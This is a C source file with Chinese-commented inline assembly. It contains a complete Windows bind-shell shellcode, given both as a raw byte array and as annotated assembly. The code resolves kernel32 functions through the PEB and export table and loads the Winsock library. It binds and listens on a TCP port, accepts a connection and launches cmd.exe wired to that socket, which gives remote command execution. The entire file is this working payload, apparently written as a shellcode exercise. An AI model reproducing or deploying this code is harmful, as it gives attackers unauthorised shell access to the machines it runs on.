#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

char shell_code[]={
         0xEB,0x64,0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x14,0x8B,0x00,
        0x8B,0x70,0x28,0x80,0x7E,0x0C,0x33,0x75,0xF5,0x8B,0x68,0x10,0x8B,0x45,0x3C,0x8B,
        0x4C,0x05,0x78,0x03,0xCD,0x8B,0x59,0x20,0x03,0xDD,0x33,0xFF,0x60,0x61,0x8B,0x34,
        0xBB,0x03,0xF5,0x47,0x8B,0xD4,0x83,0xC2,0x04,0x60,0x8B,0xC2,0x8B,0xDE,0x33,0xD2,
        0x8A,0x0B,0x8A,0x28,0x3A,0xCD,0x75,0xE5,0x43,0x40,0x3A,0xCA,0x74,0x02,0xEB,0xEE,
        0x61,0x8B,0x59,0x24,0x03,0xDD,0x66,0x8B,0x3C,0x7B,0x66,0x4F,0x8B,0x59,0x1C,0x03,
        0xDD,0x03,0x2C,0xBB,0x95,0xC3,0x6A,0x00,0x68,0x61,0x72,0x79,0x41,0x68,0x4C,0x69,
        0x62,0x72,0x68,0x4C,0x6F,0x61,0x64,0xE8,0x86,0xFF,0xFF,0xFF,0x83,0xC4,0x10,0x50,
        0x68,0x73,0x73,0x00,0x00,0x68,0x64,0x64,0x72,0x65,0x68,0x72,0x6F,0x63,0x41,0x68,
        0x47,0x65,0x74,0x50,0xE8,0x69,0xFF,0xFF,0xFF,0x83,0xC4,0x10,0x50,0x8B,0x44,0x24,
        0x04,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5F,0x54,0xFF,0xD0,0x83,0xC4,
        0x08,0x50,0x8B,0x14,0x24,0x8B,0x5C,0x24,0x04,0x68,0x75,0x70,0x00,0x00,0x68,0x74,
        0x61,0x72,0x74,0x68,0x57,0x53,0x41,0x53,0x54,0x52,0xFF,0xD3,0x83,0xC4,0x0C,0x33,
        0xF6,0xB9,0x64,0x00,0x00,0x00,0x56,0xE2,0xFD,0x54,0x6A,0x02,0xFF,0xD0,0x3B,0xC6,
        0x0F,0x85,0x62,0x01,0x00,0x00,0x8B,0x94,0x24,0x90,0x01,0x00,0x00,0x8B,0x9C,0x24,
        0x94,0x01,0x00,0x00,0x68,0x74,0x41,0x00,0x00,0x68,0x6F,0x63,0x6B,0x65,0x68,0x57,
        0x53,0x41,0x53,0x54,0x52,0xFF,0xD3,0x83,0xC4,0x0C,0x6A,0x00,0x6A,0x00,0x6A,0x00,
        0x6A,0x00,0x6A,0x01,0x6A,0x02,0xFF,0xD0,0x50,0x8B,0x94,0x24,0x94,0x01,0x00,0x00,
        0x8B,0x9C,0x24,0x98,0x01,0x00,0x00,0x6A,0x00,0x68,0x62,0x69,0x6E,0x64,0x54,0x52,
        0xFF,0xD3,0x83,0xC4,0x08,0x33,0xDB,0xB9,0x04,0x00,0x00,0x00,0x53,0xE2,0xFD,0xC6,
        0x04,0x24,0x02,0xC6,0x44,0x24,0x02,0x1D,0xC6,0x44,0x24,0x03,0x0D,0x8B,0xD4,0x6A,
        0x10,0x52,0x8B,0x54,0x24,0x18,0x52,0xFF,0xD0,0x33,0xD2,0x3B,0xC2,0x0F,0x85,0xE5,
        0x00,0x00,0x00,0x54,0x8B,0x94,0x24,0xA8,0x01,0x00,0x00,0x8B,0x9C,0x24,0xAC,0x01,
        0x00,0x00,0x68,0x65,0x6E,0x00,0x00,0x68,0x6C,0x69,0x73,0x74,0x54,0x52,0xFF,0xD3,
        0x83,0xC4,0x08,0x8B,0x54,0x24,0x14,0x6A,0x0A,0x52,0xFF,0xD0,0x33,0xD2,0x3B,0xD0,
        0x0F,0x85,0xB2,0x00,0x00,0x00,0x8B,0x94,0x24,0xA8,0x01,0x00,0x00,0x8B,0x9C,0x24,
        0xAC,0x01,0x00,0x00,0x6A,0x74,0x68,0x63,0x63,0x65,0x70,0x68,0x57,0x53,0x41,0x41,
        0x54,0x52,0xFF,0xD3,0x83,0xC4,0x0C,0x8B,0x54,0x24,0x14,0x8B,0x34,0x24,0x6A,0x10,
        0x8B,0xCC,0x6A,0x00,0x6A,0x00,0x51,0x56,0x52,0xFF,0xD0,0x50,0x8B,0x94,0x24,0xB0,
        0x01,0x00,0x00,0x8B,0x9C,0x24,0xB4,0x01,0x00,0x00,0x68,0x73,0x41,0x00,0x00,0x68,
        0x6F,0x63,0x65,0x73,0x68,0x74,0x65,0x50,0x72,0x68,0x43,0x72,0x65,0x61,0xE8,0x0F,
        0xFE,0xFF,0xFF,0x83,0xC4,0x10,0x33,0xD2,0xB9,0x11,0x00,0x00,0x00,0x52,0xE2,0xFD,
        0xC6,0x04,0x24,0x44,0xC6,0x44,0x24,0x2C,0x01,0xC6,0x44,0x24,0x2D,0x01,0x8B,0x54,
        0x24,0x44,0x89,0x54,0x24,0x38,0x89,0x54,0x24,0x3C,0x89,0x54,0x24,0x40,0x8B,0xF4,
        0xB9,0x04,0x00,0x00,0x00,0x33,0xD2,0x52,0xE2,0xFD,0x8B,0xCC,0x68,0x65,0x78,0x65,
        0x00,0x68,0x63,0x6D,0x64,0x2E,0x8B,0xFC,0x51,0x56,0x52,0x52,0x52,0x6A,0x01,0x52,
        0x52,0x57,0x52,0xFF,0xD0,0x41,0xE2,0xFD,0x68,0x65,0x73,0x73,0x00,0x68,0x50,0x72,
        0x6F,0x63,0x68,0x45,0x78,0x69,0x74,0xE8,0xA6,0xFD,0xFF,0xFF,0x6A,0x00,0xFF,0xD0
};

void shellcode()
{
    __asm
    {
        lea eax,shell_code
        call eax
    }
}

int main()
{
    shellcode();
    return 0;
}

/*-------------------------------------------汇编版本------------------------------------------*/

#include <windows.h>

#include <stdio.h>
#include <stdlib.h>

void shellcode()
{
    __asm
    {
            nop
            nop
            nop
            nop
            nop
            nop
            jmp start
find_function:
             //寻找kernel32.dll的基址
             mov eax,fs:[30h]
            mov eax,[eax+0ch]
            mov eax,[eax+14h]
module_loop:
            mov eax,[eax]
            mov esi,[eax+28h]
            cmp byte ptr [esi+0ch],'3'   //搜索kernel32.dll
            jne module_loop
            
            mov ebp,[eax+010h]    //ebx为kernel32.dll的基址
            
            mov eax,[ebp+03ch]
            mov ecx,[ebp+eax+78h]  //读取PE结构中的导出表地址
            add ecx,ebp     //ecx定位到导出表
            
            mov ebx,[ecx+20h]
            add ebx,ebp     //ebx定位到导出名称指针表
            
            xor edi,edi
            pushad
name_loop:
            popad
            mov esi,[ebx+edi*4]   //读取一个指向函数名的指针
            add esi,ebp       //定位到函数名字符串
            inc edi
            mov edx,esp     //获取栈内要获取的函数名起始地址
            add edx,4
            pushad      //寄存器入栈
            mov eax,edx
            mov ebx,esi
name_cmp_loop:
             xor edx,edx
            mov cl,byte ptr [ebx]
            mov ch,byte ptr [eax]
            cmp cl,ch
            jne name_loop
            inc ebx
            inc eax
            cmp cl,dl
            jz break_name_loop
            jmp name_cmp_loop
break_name_loop:
             popad
            //找到函数名
            mov ebx,[ecx+24h]   //定位到导出序数表RVA
            add ebx,ebp
            
            mov di,[ebx+2*edi]
            dec di
            mov ebx,[ecx+1ch]   //定位到导出地址表RVA
            add ebx,ebp
            add ebp,[ebx+4*edi]    //读取函数地址
            xchg eax,ebp
            
            ret
start:
            //LoadLibraryA
            push 0x00
            push 0x41797261
            push 0x7262694C
            push 0x64616F4C
            call find_function
            add esp,16
            push eax     //LoadLibraryA函数地址入栈

            //GetProcAddress
            push 0x00007373
            push 0x65726464
            push 0x41636F72
            push 0x50746547
            call find_function
            add esp,16
            push eax         //GetProcAddress地址入栈
            
            mov eax,dword ptr [esp+4]                //eax存放LoadLibraryA的地址

            //加载ws2_32
            push 0x3233
            push 0x5F327377
            push esp

            call eax        //eax=LoadLibraryA(esp);
            add esp,8
            push eax        //ws2_32.dll句柄入栈


            //获取WSAStartup函数地址
            mov edx,dword ptr [esp]        //获取ws2_32句柄
            mov ebx,dword ptr [esp+4]      //获取GetProcAddress地址
            push 0x7075
            push 0x74726174
            push 0x53415357
            push esp
            push edx
            call ebx    //eax中存放WSAStartup地址
            add esp,12

            //调用WSAStartup
            xor esi,esi
            mov ecx,100
wsa_loop:
            push esi
            loop wsa_loop
            push esp
            push 0x02
            call eax
            //判断函数是否调用成功
            cmp eax,esi
            jne exit_process

            //获取WSASocket函数地址
            mov edx,dword ptr [esp+400]    //获取ws2_32.dll句柄
            mov ebx,dword ptr [esp+4+400]  //获取GetProcAddress地址
            push 0x4174
            push 0x656B636F
            push 0x53415357
            push esp
            push edx
            call ebx
            add esp,12

            //调用WSASocket
            push 0x00
            push 0x00
            push 0x00
            push 0x00
            push 1
            push 2
            call eax
            push eax             //socket入栈

            //查找bind
            mov edx,dword ptr [esp+400+4]    //获取ws2_32.dll句柄
            mov ebx,dword ptr [esp+4+400+4]  //获取GetProcAddress地址
            push 0x00
            push 0x646E6962
            push esp
            push edx
            call ebx
            add esp,8

            //调用bind
            xor ebx,ebx
            mov ecx,4
addr_loop:                     //sockaddr结构体入栈
            push ebx
            loop addr_loop

            mov byte ptr [esp],2h
            mov byte ptr [esp+2],1dh
            mov byte ptr [esp+3],0x0d
            mov edx,esp

            push 16
            push edx
            mov edx,dword ptr [esp+24]
            push edx
            call eax       //调用bind()
            xor edx,edx
            cmp eax,edx
            jne exit_process
            push esp         //sockaddr地址入栈

            //查找listen
            mov edx,dword ptr [esp+400+4+20]    //获取ws2_32.dll句柄
            mov ebx,dword ptr [esp+4+400+4+20]  //获取GetProcAddress地址
            push 0x6E65
            push 0x7473696C
            push esp
            push edx
            call ebx
            add esp,8

            //调用listen
            mov edx,dword ptr [esp+4+16]   //读取socket
            push 10
            push edx
            call eax
            xor edx,edx
            cmp edx,eax
            jne exit_process

            //查找WSAAccept
            mov edx,dword ptr [esp+400+4+20]    //获取ws2_32.dll句柄
            mov ebx,dword ptr [esp+4+400+4+20]  //获取GetProcAddress地址
            push 0x74
            push 0x70656363
            push 0x41415357
            push esp
            push edx
            call ebx
            add esp,12

            //调用WSAAccept
            mov edx,dword ptr [esp+4+16]   //读取socket
            mov esi,dword ptr [esp]        //读取sockaddr地址
            push 0x10
            mov ecx,esp
            push 0x00
            push 0x00
            push ecx
            push esi
            push edx
            call eax

            push eax      //完成TCP连接的套接字入栈

            //查找CreateProcess
            mov edx,dword ptr [esp+400+4+20+4+4]    //获取ws2_32.dll句柄
            mov ebx,dword ptr [esp+4+400+4+20+4+4]  //获取GetProcAddress地址
            push 0x4173
            push 0x7365636F
            push 0x72506574
            push 0x61657243
            call find_function
            add esp,16

            //调用CreateProcess
            xor edx,edx
            mov ecx,17
startupinfo_loop:         //68字节
            push edx
            loop startupinfo_loop

            mov byte ptr [esp],44h
            mov byte ptr [esp+44],1
            mov byte ptr [esp+45],1
            mov edx,dword ptr [esp+68]
            mov dword ptr [esp+56],edx
            mov dword ptr [esp+60],edx
            mov dword ptr [esp+64],edx

            mov esi,esp    //esi暂时存放si的地址

            mov ecx,4
            xor edx,edx
PROCESS_INFORMATION_loop:       //16字节
            push edx
            loop PROCESS_INFORMATION_loop
            mov ecx,esp     //ecx临时存放pi结构地址

            push 0x657865
            push 0x2E646D63

            mov edi,esp     //edi暂时存放cmd地址

            push ecx
            push esi
            push edx
            push edx
            push edx
            push 1
            push edx
            push edx
            push edi
            push edx
            call eax

stop:
            inc ecx
            loop stop


            //ExitProcess
exit_process:
            push 0x00737365
            push 0x636F7250
            push 0x74697845
            call find_function

            push 0
            call eax
            nop
            nop
            nop
            nop
            nop
    }
}

int main()
{
    shellcode();
    return 0;
}